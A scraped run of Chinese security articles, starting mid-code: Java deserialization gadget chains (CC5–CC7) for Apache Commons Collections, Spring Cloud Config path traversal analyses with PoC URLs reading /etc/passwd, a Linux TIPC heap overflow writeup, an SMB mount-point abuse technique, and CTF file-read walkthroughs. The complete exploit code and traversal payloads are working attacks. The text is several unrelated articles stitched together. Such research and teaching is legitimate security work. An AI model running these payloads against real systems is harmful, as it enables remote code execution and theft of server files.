new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//ChainedTransformer实例
Transformer chainedTransformer = new ChainedTransformer(transformers);
//LazyMap实例
Map uselessMap = new HashMap();
Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
//TiedMapEntry 实例
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");
//BadAttributeValueExpException 实例
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
//反射设置 val
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, tiedMapEntry);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttributeValueExpException);
oos.flush();
oos.close();
//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
大体调用栈：
->BadAttributeValueExpException.readObject()
->TiedMapEntry.toString()
->TiedMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->…………
### 七、CC6
* * *
**测试环境** ：3.1-3.2.1，jdk1.7,1.8
CC5 用了 BadAttributeValueExpException 反序列化去触发 LazyMap.get()，除了
BadAttributeValueExpException 、AnnotationInvocationHandler 还有其他方法吗？ HashMap!
我们再研究研究 TiedMapEntry 这个类
public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
//构造函数，显然我们可以控制 this.map 为 LazyMap
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
//hashCode函数，注意这里调用了 getValue()
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
//跟进 getValue(), 这是关键点 this.map.get() 触发 LazyMap.get()
public Object getValue() {
return this.map.get(this.key);
}
}
如何反序列化时触发 TiedMapEntry.hashCode() ? 这就引入了 HashMap!
//这里是 jdk 1.7 的，不同版本 HashMap readObject 可能略有不同
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
//先看看其 readObject
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
…………
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putForCreate(key, value);
}
}
//跟进 putForCreate 方法
private void putForCreate(K key, V value) {
int hash = null == key ? 0 : hash(key); //关键点，我们可以控制 key 为TiedMapEntry，然后计算hash(TiedMapEntry)
int i = indexFor(hash, table.length);
…………
createEntry(hash, key, value, i);
}
//跟进 hash 方法
final int hash(Object k) {
int h = hashSeed;
if (0 != h && k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h ^= k.hashCode(); //关键点，触发 TiedMapEntry.hashCode()
…………
}
最终实现代码：
package Apache_Common_Collections.cc_1_7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] fakeTransformer = new Transformer[]{};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//ChainedTransformer实例
//先设置假的 Transformer 数组，防止生成时执行命令
Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);
//LazyMap实例
Map uselessMap = new HashMap();
Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
//TiedMapEntry 实例
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "test");
//通过反射设置真的 ransformer 数组
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
//清空由于 hashMap.put 对 LazyMap 造成的影响
lazyMap.clear();
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashMap);
oos.flush();
oos.close();
//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
大体调用栈：
//这里是 jdk 1.7 的，不同版本 HashMap readObject 可能略有不同
->HashMap.readObject()
->HashMap.putForCreate()
->HashMap.hash()
->TiedMapEntry.hashCode()
->TiedMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->…………
### 八、CC7
* * *
**测试环境** ：3.1-3.2.1，jdk1.7,1.8
这里仍然是想法子触发LazyMap.get()。Hashtable 的 readObject 中. 遇到 hash 碰撞时, 通过调用一个对象的
equals 方法对比两个对象判断是真的 hash 碰撞. 这里的 equals 方法是 AbstractMap 的 equals 方法。
先放代码吧：
package Apache_Common_Collections.cc_1_7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CommonsCollections7 {
public static void main(String[] args) throws IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException {
Transformer[] fakeTransformer = new Transformer[]{};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//ChainedTransformer实例
//先设置假的 Transformer 数组，防止生成时执行命令
Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);
//LazyMap实例
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test");
hashtable.put(lazyMap2, "test");
//通过反射设置真的 ransformer 数组
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
//上面的 hashtable.put 会使得 lazyMap2 增加一个 yy=>yy，所以这里要移除
lazyMap2.remove("yy");
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashtable);
oos.flush();
oos.close();
//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
Hashtable 类的关键代码如下：
//Hashtable 的 readObject 方法
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
………………
for (; elements > 0; elements--) {
K key = (K)s.readObject();
V value = (V)s.readObject();
//reconstitutionPut方法
reconstitutionPut(newTable, key, value);
}
this.table = newTable;
}
//跟进 reconstitutionPut 方法
private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
int hash = hash(key);
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
//注意这里的 equals 方法
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
Entry<K,V> e = tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
跟进上面的 equals 方法，发现最终调用了 AbstractMap 类的 equals 方法，如下：
就是在这里触发了 LazyMap.get()。
大体调用栈：
//这里是 jdk 1.7 的，不同版本 HashMap readObject 可能略有不同
->Hashtable.readObject()
->Hashtable.reconstitutionPut()
->AbstractMapDecorator.equals
->AbstractMap.equals()
->LazyMap.get.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->…………
如有不正，还请师傅指出。
### 九、参考文章
<https://www.freebuf.com/articles/web/214096.html>
<https://www.cnblogs.com/nice0e3/p/13910833.html> | 社区文章 |
最近打算分析一下spring相关的漏洞,就以[spring-cloud-config](https://github.com/spring-cloud/spring-cloud-config)产生的目录穿越漏洞为引,进行学习,另外,为了更好的提高自己的能力,我们对漏洞只提前去了解补丁和影响的版本,不拿poc去看调用栈的流程,从补丁分析poc的编写。
#### CVE-2019-3799漏洞补丁
补丁位置:`https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2`
根据补丁可以看到主要增加了路径的检测,一个是
private boolean isInvalidEncodedPath(String path) {
if (path.contains("%")) {
try {
// Use URLDecoder (vs UriUtils) to preserve potentially decoded UTF-8 chars
String decodedPath = URLDecoder.decode(path, "UTF-8");
if (isInvalidPath(decodedPath)) {
return true;
}
decodedPath = processPath(decodedPath);
if (isInvalidPath(decodedPath)) {
return true;
}
}
catch (IllegalArgumentException | UnsupportedEncodingException ex) {
// Should never happen...
}
}
return false;
}
这个我们可以看到主要是url解码的功能,看到这里会想到难道url编码可以绕过限制进行文件读取?如果是这样的话那么在读文件时要么有解码操作,要么可能是file协议等。
第二个函数我们可以看到主要是限制了一些路径出现的字符,防止我们目录穿越已经读敏感文件的
protected boolean isInvalidPath(String path) {
if (path.contains("WEB-INF") || path.contains("META-INF")) {
if (logger.isWarnEnabled()) {
logger.warn("Path with \"WEB-INF\" or \"META-INF\": [" + path + "]");
}
return true;
}
if (path.contains(":/")) {
String relativePath = (path.charAt(0) == '/' ? path.substring(1) : path);
if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
if (logger.isWarnEnabled()) {
logger.warn("Path represents URL or has \"url:\" prefix: [" + path + "]");
}
return true;
}
}
if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) {
if (logger.isWarnEnabled()) {
logger.warn("Path contains \"../\" after call to StringUtils#cleanPath: [" + path + "]");
}
return true;
}
return false;
}
#### CVE-2019-3799具体分析
如果我们对该组件不熟悉的话,可以通过回溯进行找漏洞利用点。
通过看补丁我们知道漏洞产生点在`findOne`方法,全局找一下
并且通过看findOne的代码我们可以知道,path可控是比较重要的,重点跟一下可控处
找到
synchronized String retrieve(String name, String profile, String label, String path,
boolean resolvePlaceholders) throws IOException {
if (name != null && name.contains("(_)")) {
// "(_)" is uncommon in a git repo name, but "/" cannot be matched
// by Spring MVC
name = name.replace("(_)", "/");
}
if (label != null && label.contains("(_)")) {
// "(_)" is uncommon in a git branch name, but "/" cannot be matched
// by Spring MVC
label = label.replace("(_)", "/");
}
// ensure InputStream will be closed to prevent file locks on Windows
try (InputStream is = this.resourceRepository.findOne(name, profile, label, path)
.getInputStream()) {
String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));
if (resolvePlaceholders) {
Environment environment = this.environmentRepository.findOne(name,
profile, label);
text = resolvePlaceholders(prepareEnvironment(environment), text);
}
return text;
}
}
再往上找就能找到
@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(@PathVariable String name, @PathVariable String profile,
@PathVariable String label, HttpServletRequest request,
@RequestParam(defaultValue = "true") boolean resolvePlaceholders)
throws IOException {
String path = getFilePath(request, name, profile, label);
return retrieve(name, profile, label, path, resolvePlaceholders);
}
然后这里可以看到path是我们完全可控的,也就是`**`处
那么我们根据路由构建个请求
http://127.0.0.1:8888/aaaa/aaaa/master/README.md
跟进一下看到
进行了路径的拼接,因为我们一开始并不熟悉该组件的功能,看到这里猜测是将远程管理项目的下载到本地,然后利用file协议来进行读取文件,这里也解释了为什么写过滤的时候会进行url解码。
因为浏览器会进行一次url解码,然后在getInputStream中openConnection会解码一次
那么我们就可以构造poc
http://127.0.0.1:8888/aaaa/aaaa/master/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd
#### CVE-2020-5405漏洞补丁
补丁位置:`https://github.com/spring-cloud/spring-cloud-config/commit/651f458919c40ef9a5e93e7d76bf98575910fad0`
通过补丁我们可以知道,第一次补丁只检测了path,第二个补丁检测了整个路径,那么问题还应该出在了这里.
#### CVE-2020-5405漏洞分析
其实往前看有个替换的操作,很显眼
name和label的`(_)`会被替换成`/`,看到这里,我尝试构造poc
http://127.0.0.1:8888/aaaa/aaaa/%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%2e%2e%28%5f%29%65%74%63/passwd
我们让label为`..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)etc`,path为`passwd`,这样拼接完应该是`file:/xxx/xxx/xxx/../../../../../etc/passwd`
但是如果label不为master的话,代码逻辑就会先去checkout,然后就异常了
这里面会导致抛出异常,具体抛出异常的点在哪呢,在`org.springframework.cloud.config.server.environment.MultipleJGitEnvironmentRepository`
在CVE-2019-3799中,我们使用的配置是常用的`spring.cloud.config.server.git.uri`,它会选择使用`MultipleJGitEnvironmentRepository.class`的getLocations,然后就会走到checkout,抛出异常了,那么我们怎么去不走checkout逻辑呢。
通过翻文档[https://zq99299.github.io/note-book/spring-cloud-tutorial/config/002.html#%E7%89%88%E6%9C%AC%E6%8E%A7%E5%88%B6%E5%90%8E%E7%AB%AF%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F](https://zq99299.github.io/note-book/spring-cloud-tutorial/config/002.html#版本控制后端文件系统)
得知这个配置是让它从本地进行加载,而不是用git,通过在application.properties配置
spring.profiles.active=native
spring.cloud.config.server.native.search-locations=file:/Users/p0desta/Desktop
其实通过补丁我们也可以发现端倪
配置后重新跟进调试
然后就在`/org/springframework/cloud/config/server/environment/NativeEnvironmentRepository.class@getLocations`中对路径进行了处理,大致就是对路径进行拼接,然后存在ouput数组中,返回一个新的Locations对象
然后后面就是跟CVE-2019-3799一样,直接读文件了。 | 社区文章 |
# 360 Marvel Team云系统漏洞第六弹 - CVE-2016-8632分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：**[
**360MarvelTeam**](http://bobao.360.cn/member/contribute?uid=2515404154)
**稿费：600RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn** ****](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**前言**
360 Marvel Team一直致力于云安全领域技术研究。在刚刚过去的Pwnfest比赛中一举完成vmware
workstation的首次破解，实现虚拟机逃逸攻击全球首秀。团队目前在qemu，kvm，xen，docker，vmware
workstation，vmware esxi，linux kernel中都已积累了丰富的漏洞挖掘和利用经验。linux
kernel漏洞可以帮助攻击者在虚拟机逃逸之后夺取宿主机最高权限，也可以使黑客完成docker容器攻击，是云系统漏洞攻击链条中非常关键的一环。在这篇文章中，Marvel
Team将分享一枚最新公开的linux kernel漏洞的相关研究成果。
360 Marvel Team目前正在招聘 **漏洞挖掘 &漏洞利用&linux内核及应用层开发**
岗位，有兴趣的同学欢迎发简历到[email protected]。
**0x0 序**
TIPC网络协议也叫透明进程间通信协议，是一种进程间通信的网络协议，原本是为集群间通信特别设计，Linux kernel
自2.6.16版本开始支持TIPC协议，该协议在VxWorks和Solaris操作系统中应用广泛。然而TIPC处理数据切包的代码存在一处堆溢出，可造成特权提升。漏洞说明见：<https://access.redhat.com/security/cve/cve-2016-8632>。
**0x1 漏洞细节**
当创建一个TIPC协议的socket后，可以通过很多种方式触发tipc_msg_build。比如说用户态调用connet，TIPC协议栈根据当前socket的状态，需要发送第一个SYN包，然而这时需要调用tipc_msg_build来构造TIPC的协议头（长度可变），如下图：
首先解释几个变量含义：
1\. msz : TIPC协议头长度 + 实际发送数据长度。
2\. pktmax : 实际上是上层函数传递下来的TIPC协议设置的MTU，该值可从设备MTU继承
3\. skb : socket buffer数据结构，其中包含一个char *类型的data指针，指向实际缓冲区
4\. dsz : 附加数据的长度
5\. mhsz : TIPC协议头长度，该协议内容根据用户态传递的目标地址类型不同而不同
从上图可以看出，如果要发送数据长度小于设备允许的最大传输单元，则数据包不需要切包，可以直接发送出去，否则把数据包按pktmax长度切开，然后依次发送出去。
函数根据pktmax创建socket buff，之后进行两次skb_copy_to_linear_data操作。
两次memcpy的长度是INT_H_SIZE + mhsz：
1\. INT_H_SIZE长度固定为40字节
2\. mhsz根据目标地址类型不同而不同，可取的值是24、32、40、44、60字节
我在POC中设置mhsz为32字节，那么两次memcpy共拷贝72字节。该函数在memcpy前并没有检查pktmax(MTU)是否小于INT_H_SIZE
+ mhsz， 然而回溯调用堆栈也没有发现内核检查过MTU的值。
那么在内核其它地方创建一个MTU小于72字节，也就能够造成堆溢出。
接下来就需要寻找TIPC是如何设置MTU的，以得到可用最小的MTU值。内核在调用tipc_msg_build
前会根据目的地址类型不同，调用2种不同方法获取MTU值，但是无论哪种方法其实都是取TIPC link上的MTU值：
TIPC link是当整个TIPC网络出现2个以上节点后，内核调用tipc_node_link_up自动建立的
当TIPC link建立后，n->links结构的mtu属性被赋值，然而这里减去了40字节的头大小，然并卵，还是没有检查合法的最小MTU大小。
tipc_link_mtu()的值由tipc_link_set_mtu()设置，tipc_link_set_mtu()在整个4.9-rc4内核代码中只有一处调用，就是在tipc_bcbase_select_primary()。
那么这里可以清晰的看到mtu的值来自于tipc_bearer_mtu()，整个内核只有2处修改过tipc
bearer的值，一个是当TIPC网络建立后，内核调用tipc_enable_l2_media()
另一处是当我们在shell中使用类似 `ifconfig eth0 mtu 60 up`
来修改网络设备MTU时，内核调用tipc_l2_device_event()：
通常情况下网络设备MTU的值是1500，当然这个值最大最小区间需要根据不同的网卡驱动来决定，比如我的网卡驱动是e1000，支持的mtu最小是46
那么问题来了：
1\. 把设备MTU设置成60(大部分网卡驱动最小支持MTU是60)
2\. 创建TIPC网络，当TIPC link建立成功后，内核调用tipc_node_link_up()
3\. tipc_node_link_up()这时候又把60减了个40，使得n->links[bearer_id].mtu = 20
4\. 调用connect，触发tipc_msg_build，因为最小的TIPC协议头也得24，所以需要切包
5\. 以20字节申请socket buffer
6\. 第一次调用skb_copy_to_linear_data(skb, &pkthdr, INT_H_SIZE)， 溢出40 – 20字节
7\. 第二次调用skb_copy_to_linear_data_offset(skb, INT_H_SIZE, mhdr,
mhsz)，再次溢出mhsz字节
第一步修改设备MTU，用户不得具有CAP_NET_ADMIN权限么，然而如果clone出一个具有user_namespace及net_username的进程则可以轻松修改设备MTU
**0x2 漏洞影响**
大部分网卡驱动最少可以溢出52字节，如果合理布局堆空间，可以造成特权提升。
受影响的较新内核版本：
Linux kernel 4.9-rc4
Linux kernel 4.9-rc3
Linux kernel 4.9
Linux kernel 4.8.3
Linux kernel 4.8.1
Linux kernel 4.8 rc1
Linux kernel 4.8
Linux kernel 4.7.9
Linux kernel 4.7-rc6
Linux kernel 4.7-rc5
\+ Redhat Linux 7.2
\+ S.u.S.E. Linux 7.2
\+ S.u.S.E. Linux 7.1
Linux kernel 4.6.3
Linux kernel 4.6.2
未测试较旧内核版本
**0x3 补丁及相关**
<https://www.mail-archive.com/[email protected]/msg133205.html>
<https://access.redhat.com/security/cve/CVE-2016-8632>
<http://www.securityfocus.com/bid/94211/info>
**传送门**
[**360 Marvel Team虚拟化漏洞第一弹 – CVE-2015-6815 漏洞分析**
****](http://blogs.360.cn/blog/360marvelteam%E8%99%9A%E6%8B%9F%E5%8C%96%E6%BC%8F%E6%B4%9E%E7%AC%AC%E4%B8%80%E5%BC%B9-cve-2015-6815-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
**[360 Marvel Team虚拟化漏洞第二弹 – CVE-2015-5279
漏洞分析](http://bobao.360.cn/learning/detail/686.html)** **
**
[**360 Marvel Team虚拟化漏洞第三弹 – CVE-2015-7504
漏洞分析（含高清视频）**](http://bobao.360.cn/learning/detail/2423.html)
[**360 Marvel Team虚拟化漏洞第四弹 – CVE-2015-8567
漏洞分析**](http://bobao.360.cn/learning/detail/2537.html)
**[360 Marvel Team虚拟化漏洞第五弹 – CVE-2016-3710 Dark
Portal漏洞分析](http://bobao.360.cn/learning/detail/2867.html)** | 社区文章 |
# 如何滥用SMB挂载点绕过客户端符号链接保护策略
|
##### 译文声明
本文是翻译文章，文章原作者 tyranidslair，文章来源：tyranidslair.blogspot.com
原文地址：<https://tyranidslair.blogspot.com/2018/12/abusing-mount-points-over-smb-protocol.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 概述
本文简要介绍了SMBv2中的一个有趣特性，可能用于横向渗透或者红方行动中。之前我曾专门花时间研究Windows上的符号链接（symbolic
link）攻击，当时我仔细研究过SMB服务器。从SMBv2开始，该协议就已支持符号链接（特别是NTFS 重解析点（Reparse
Point）格式）。如果SMB服务器在共享目录中遇到NTFS符号链接，则会提取[REPARSE_DATA_BUFFER](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/ns-ntifs-_reparse_data_buffer)结构，然后遵循SMBv2[协议](https://msdn.microsoft.com/en-us/library/cc246482.aspx)中相应[规范](https://msdn.microsoft.com/en-us/library/cc246542.aspx)将该信息返回给客户端。
客户端操作系统负责解析`REPARSE_DATA_BUFFER`数据，然后再从本地访问。这意味着符号链接只能引用客户端已经能够访问的文件。实际上，虽然默认情况下Windows没有启用符号链接本地解析功能，我还是找到了绕过客户端策略的一种方法，能够本地解析符号链接。目前微软拒绝修复这个绕过问题，如果大家感兴趣可以访问[此处](https://bugs.chromium.org/p/project-zero/issues/detail?id=138)了解官方回复。
## 0x01 问题描述
我发现有一点非常有趣，虽然`IO_REPARSE_TAG_SYMLINK`会在客户端上处理，但如果服务器遇到`IO_REPARSE_TAG_MOUNT_POINT`重解析点，则会到服务器上去解析。因此，如果我们能在共享目录中设置挂载点（mout
point），就可以访问服务器上的任意固定位置（即使该位置没有直接共享出来）。这种场景在横向渗透中非常有用，但问题在于，我们如何在无法本地访问硬盘的情况下添加挂载点？
## 0x02 具体分析
首先我们尝试一下通过UNC路径创建挂载点，可以在CMD中使用`MKLINK`命令，结果如下所示：
输出信息表示系统不支持在远程服务器上设置挂载点。这一点也能够理解，因为在远程驱动器上设置挂载点可能会导致不可预期后果。我们可以猜测一下，要么该协议不支持设置重解析点，要么做了些限制，只允许符号链接。如果想了解协议具体支持的功能，我们可以查看协议规范。设置重解析点需要向某个文件发送[FSCTL_SET_REPARSE_POINT](https://msdn.microsoft.com/en-us/library/windows/desktop/aa364595%28v=vs.85%29.aspx) IO控制代码（control
code），因此我们可以参考[SMB2 IOCTL](https://msdn.microsoft.com/en-us/library/cc246545.aspx)命令，查看其中是否存在与控制代码有关的信息。
一番搜索后，我们可以看到协议的确支持`FSCTL_SET_REPARSE_POINT`，并且协议规范中有如下描述（[§3.3.5.15.13](https://msdn.microsoft.com/en-us/library/jj217271.aspx)）：
> 当服务器收到包含包含SMB2头部的请求，并且Command值等于SMB2
> IOCTL、`CtlCode`等于`FSCTL_SET_REPARSE_POINT`时，那么消息处理过程如下：
>
> 根据[MS-FSCC] section
> 2.3.65规范，如果`FSCTL_SET_REPARSE_POINT`中的`ReparseTag`字段不等于`IO_REPARSE_TAG_SYMLINK`，那么服务器
> **应该** 验证调用方的确有权限执行这个`FSCTL`。如果调用方不具备所需的权限，那么服务器 **必须**
> 拒绝该调用，返回`STATUS_ACCESS_DENIED`错误代码。
根据上述文字，貌似服务器只需要显示检查`IO_REPARSE_TAG_SYMLINK`即可，如果不匹配该标签，则会执行其他检查操作判断请求是否允许，但并没有提到服务器会设置另一个标签来显式禁止请求。也许系统内置的`MKLINK`工具不能处理这种场景，换个工具试试？这里我们可以尝试下`CreateMountPoint`工具（来自于我的[symboliclink-testing-tools](https://github.com/googleprojectzero/symboliclink-testing-tools)项目），看能不能成功。
`CreateMountPoint`工具并没有显示之前的错误（“只支持本地NTFS卷”），但返回了拒绝访问错误。这与§3.3.5.15.13中的描述相符，如果隐式检查失败，应当返回拒绝访问错误。当然协议规范中并没有表明需要执行哪些检查，我认为这时候应该派上反编译工具，分析一下SMBv2驱动（`srv2.sys`）的具体实现。
我使用IDA来查找`IO_REPARSE_TAG_SYMLINK`对应的立即数（immediate
value，这里为`0xA000000C`），根据分析结果，貌似系统在查找其他标志时，会先会查找这个值。在Windows 10
1809系统的驱动中，我只在`Smb2ValidateIoctl`找到一处匹配值，相关代码大致如下：
NTSTATUS Smb2ValidateIoctl(SmbIoctlRequest* request) {
// ...
switch(request->IoControlCode) {
case FSCTL_SET_REPARSE_POINT:
REPARSE_DATA_BUFFER* reparse = (REPARSE_DATA_BUFFER*)request->Buffer;
// Validate length etc.
if (reparse->ReparseTag != IO_REPARSE_TAG_SYMLINK &&
!request->SomeOffset->SomeByteValue) {
return STATUS_ACCESS_DENIED;
}
// Complete FSCTL_SET_REPARSE_POINT request.
}
}
上述代码首先从IOCTL请求中提取数据，如果标志不等于`IO_REPARSE_TAG_SYMLINK`并且请求中某些字节值不等于0，那么就会返回`STATUS_ACCESS_DENIED`错误。如果想跟踪这个值的来源，有时候会比较棘手，但其实我只需要在IDA中将变量偏移值作为立即数来搜索，通常就能得出结论。这里对应的立即数为`0x200`，我们可以只搜索`MOV`指令。最终我在`Smb2ExecuteSessionSetupReal`中找到了一条指令：`MOV
[RCX+0x200],
AL`，这似乎就是我们想要的结果。系统会使用`Smb2IsAdmin`函数的返回值来设置该变量，而该函数只会检查调用方令牌中是否包含`BUILTIN\Administrators`组。因此貌似只要我们是主机上的管理员，就可以在远程共享上设置任意重解析点。我们需要验证这一点：
以管理员账户测试时我们能创建挂载点，并且dir
UNC路径时，我们也能看到相应的Windows目录。虽然我测试的是本地admin共享，但这适用于其他共享，并且也能访问指向远程服务器的挂载点。
## 0x03 总结
这种技巧是否有用武之地？这种方法需要管理员访问权限，因此这并不是一种权限提升技术。此外，如果我们具备远程管理员访问权限，那么我们肯定会利用该权限执行其他操作。然而，如果目标主机禁用了admin共享，或者目标环境中有些监控机制，可以监控`ADMIN$`或者`C$`，但我们具备有些共享的写入权限，那么横向渗透中我们就可以使用这种方法完全控制其他驱动器。
我发现之前没有人分析过这一点，或者也有看可能是我搜索不够全面，毕竟在网上搜索SMB以及挂载点时，得到的结果大多与SAMBA配置有关。有时候系统出于安全考虑，不会公开某些处理逻辑，我们可以大胆假设小心求证，这个例子就是非常典型的一次实验。虽然`MKLINK`之类的工具提示我们无法设置远程挂载点，但进一步分析、查看代码后，我们自己可以找到更为有趣的一些细节。 | 社区文章 |
# 任意文件读取漏洞CTF
**任意文件读取漏洞**
## **afr_1**
**题目描述:**
暂无
docker-compose.yml
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-1:latest
ports:
- 80:80
**启动方式**
docker-compose up -d
**题目Flag**
n1book{afr_1_solved}
**Writeup**
访问url：<http://192.168.10.22/?p=hello>
本题是考查任意文件读取，利用php://协议，访问
<http://192.168.10.22/?p=php://filter/convert.base64-encode/resource=flag>
将得到的数据进行base64解码，得到flag：n1book{afr_1_solved}
## **afr_2**
**题目描述:**
暂无
docker-compose.yml
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-2:latest
ports:
- 80:80
**启动方式**
docker-compose up -d
**题目Flag**
n1book{afr_2_solved}
**Writeup**
访问url：<http://192.168.10.22/>
本题是考查任意文件读取，访问 <http://IP:PORT/img../即可访问目录为/的文件（nginx错误配置）>
访问url： <http://192.168.10.22/img../>
即可得到目录文件，访问url：192.168.10.22/img../flag
即可得到flag：n1book{afr_2_solved}
## **afr_3**
**题目描述:**
暂无
docker-compose.yml
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-3:latest
ports:
- 5000:5000
**启动方式**
docker-compose up -d
**题目Flag**
n1book{afr_3_solved}
**Writeup**
本题考查对linux系统中/proc/目录下文件作用的了解，同时考查了flask模板注入
访问url：<http://192.168.10.22:5000/>
输入ifconfig进行查询
继续点击article
请求<http://192.168.10.22:5000/article?name=../../../../../proc/self/cmdline获取当前执行系统命令，得到python>
server.py
请求
<http://192.168.10.22:5000/article?name=../../../../../proc/self/cwd/server.py获取源码>
审计源码，发现flag在flag.py,flask的appkey在key.py,但是此处任意文件读取漏洞被过滤了关键词flag
源码里存在flask SSTI，前提是可以伪造flask的cookie，这里需要用到appkey
<https://noraj.github.io/flask-session-cookie-manager/>
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
if request.method != "POST":
return redirect(url_for("index"))
n1code = request.form.get("n1code") or None
if n1code is not None:
